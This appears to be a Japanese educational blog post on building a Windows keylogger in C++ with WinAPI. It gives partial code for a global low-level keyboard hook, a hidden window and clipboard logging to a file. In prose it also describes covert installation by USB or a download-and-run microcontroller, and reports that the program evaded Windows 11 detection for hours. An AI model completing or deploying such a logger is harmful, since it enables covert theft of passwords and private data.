概要

今回はC++でWinAPIを使って簡単なキーロガーを作成してみました。

キーボード入力やクリップボードの内容を取得し、ログとして記録する仕組みを通して、低レベルな入力処理やWindows APIの使い方を学ぶことが目的です。

セキュリティ分野ではマルウェアの仕組みを理解することが防御策を考える上で重要になるため、こうした実装を自作して動作を確認することは有用です。

thumbnail

キーロガーとは

キーロガー(Keylogger)は、キーボードからの入力を監視し、どのキーが押されたかを記録(ロギング)するソフトウェアまたはハードウェアのことです。もともとはデバッグやユーザー行動分析などの正当な目的で使われることもありますが、セキュリティの文脈では、パスワード、クレジットカード番号、個人情報などを盗み出すために悪用されるマルウェアの一種として広く知られています。

今回は、Windowsの低レベルな動作を学習する目的で、OSの機能(API)を利用したソフトウェアキーロガーの実装に焦点を当てます。

実装の仕組み

Windows OSでシステム全体のキーボード入力を監視するには、「Windowsフック(Hook)」という仕組みを利用するのが一般的です。フック(Hook)とは、特定のイベント(キーボード入力、マウス操作、ウィンドウの生成など)が発生した際に、OSが特定の処理(コールバック関数)を呼び出すように割り込ませる機能のことです。

SetWindowsHookEx と WH_KEYBOARD_LL

今回の実装では、`SetWindowsHookEx` というWinAPI関数を使用します。この関数は、どの種類のイベントをフックするかを指定して、フックプロシージャ(割り込み処理)をOSに登録します。

HHOOK SetWindowsHookEx(
  int       idHook,     // フックの種類
  HOOKPROC  lpfn,       // フックプロシージャ(コールバック関数)のアドレス
  HINSTANCE hMod,       // DLLのハンドル(今回はNULL)
  DWORD     dwThreadId  // スレッドID(0でグローバルフック)
);
  • `idHook` (フックの種類): ここで `WH_KEYBOARD_LL` (Low-Level Keyboard Hook) を指定します。これは、システム全体のキーボード入力イベントを、他のどのプロセスに渡るよりも先に(低レベルで)フックすることを意味します。
  • `lpfn` (フックプロシージャ): キー入力が発生するたびにWindowsによって呼び出される、私たちが実装する関数のポインタです。今回はKeyboardProc()という関数を作ったのでその関数名を指定しました。
  • `dwThreadId` (スレッドID): `0` を指定することで、システム全体(全てのプロセス)のキー入力を対象とします。

フックプロシージャ (KeyboardProc)

SetWindowsHookEx で登録した関数(フックプロシージャ)は、以下のような形式で定義する必要があります。キーが押されるたびに、この関数がOSから呼び出されます。

// キーボードイベントが発生したときに呼び出される関数 (コールバック関数)
LRESULT CALLBACK KeyboardProc(
  int    nCode,
  WPARAM wParam,
  LPARAM lParam
)
  • `nCode` (OSからの指示): nCode < 0ならこの関数で処理しない。nCode>= 0ならこの関数で処理する。
  • `wParam` (イベントタイプ): `WM_KEYDOWN` (キーが押された), `WM_KEYUP` (キーが離された) などのイベントの種類が入ります。
  • `lParam` (キー情報): `KBDLLHOOKSTRUCT` という構造体へのポインタが渡されます。この構造体の中に、押されたキーの仮想キーコード(`vkCode`)が含まれています。

C++による簡易コード例

以下は、キー入力をコンソールに出力し、"log.txt" ファイルに追記するキーロガーの基本的なコード例です。(エラー処理などは簡略化しています)

メインロジック (WinMain)

フックを設定し、プログラムが終了しないように「メッセージループ」を回し続けます。バックグラウンドで動作させるため、通常の `main` 関数ではなく `WinMain` を使用し、コンソールウィンドウを非表示にしています。

#include <Windows.h>
#include <fstream>
#include <string>
#include <vector>

// ログファイルの名前を定義
const char* LOG_FILE = "Log.txt";

// グローバルなフックハンドル
HHOOK hHook = NULL;

// Windowsアプリケーションのエントリーポイント
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    // ウィンドウクラスの登録
    // 文字列の前に L を追加してワイド文字列にする
    const WCHAR CLASS_NAME[] = L"ClipboardMonitorClass";
    WNDCLASSW wc = {}; // WNDCLASSW を使用
    wc.lpfnWndProc = ClipboardMonitorProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = CLASS_NAME;
    RegisterClassW(&wc); // RegisterClassW を使用

    // メッセージ専用ウィンドウの作成 (非表示)
    // 文字列の前に L を追加してワイド文字列にする
    HWND hWnd = CreateWindowExW( // CreateWindowExW を使用
        0, CLASS_NAME, L"Clipboard Monitor", 0, 0, 0, 0, 0,
        HWND_MESSAGE, NULL, hInstance, NULL
    );

    if (hWnd == NULL) {
        return 1; // ウィンドウ作成失敗
    }

    // クリップボードリスナーを追加
    if (!AddClipboardFormatListener(hWnd)) {
        return 1; // リスナー追加失敗
    }

    // キーボードフックを設定
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
    if (hHook == NULL) {
        return 1; // フック設定失敗
    }

    // プログラムが終了しないようにメッセージループを実行
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    // リスナーを削除
    RemoveClipboardFormatListener(hWnd);
    // フックを解除
    UnhookWindowsHookEx(hHook);

    return 0;
}

クリップボード監視用のウィンドウプロシージャ

クリップボードが更新された場合にWriteClipboardDataToFile()を呼び出す。

LRESULT CALLBACK ClipboardMonitorProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
    switch (uMsg) {
        case WM_CLIPBOARDUPDATE:
            // クリップボードが更新された
            WriteClipboardDataToFile();
            return 0;
        case WM_DESTROY:
            PostQuitMessage(0);
            return 0;
        default:
            return DefWindowProc(hWnd, uMsg, wParam, lParam);
    }
}

倫理的考察

このコードは教育目的で作成したものです。他人のコンピュータに無断でインストールし、キー入力を監視・記録する行為は、深刻なプライバシー侵害であり、不正アクセス禁止法や各国の法律に抵触する犯罪行為です。

法的、倫理的問題からソースコードのすべてを記載することはできませんでしたが、自分で作ってみてWinAPIを活用した巧妙なロジックについては学べる点がとても多く感じました。

脅威

皆さんも自分の端末以外を操作した経験があると思います。

ネットカフェ、図書館、会社から貸与されたPC、家族で共有している端末など、多数あると思いますが、もしもそのどれかにこのようなプログラムが稼働していた場合、それは大きな脅威となりえます。

もしこのプログラムが稼働していた場合、ログインページでパスワードを入力、プライバシーに関わる検索ワード、仕事の機密情報を扱う場面など、そのどれもがログとして記録されてしまいます。

このプログラムは誰もが触れることができる環境にある端末であれば簡単にインストールすることができます。

例えば、このプログラムをサーバーにアップロードしておき、マイコンに「PCに接続したらサーバーからプログラムをダウンロードし、実行する」というコードを書き込み、あとはターゲット端末に接続すれば、自動でダウンロード、インストール、実行が行われてしまいます。

そこまで回りくどいことをしなくても、直接USBを挿してプログラムをコピーすればそれで準備は整ってしまいます。

このプログラムは外部との通信機能などは持たない、いたってシンプルな構造のため、ウイルスとして検知される可能性も低いです。

実際に独自の環境で実行させましたが、数時間程度ではWindows11の最新のセキュリティでも検出しませんでした。

対策・対処

今回は数時間程度だったこと、外部との通信を行わなかったことなどが起因してかマルウェアとして検出されませんでしたが、実際は多くのアンチウイルスソフトウェアは、`SetWindowsHookEx` を使用して `WH_KEYBOARD_LL`をグローバルにフックするプログラム(特にコンソールを持たないプログラム)を、マルウェア(キーロガー)として検知したり、プログラムの動作(振る舞い)から検知し、実行をブロックまたは削除します。

しかし、セキュリティソフトが稼働しているからと慢心せず、端末が置かれた環境を常に意識し、その端末で実行してよいこと悪いことを明確にすることが大切です。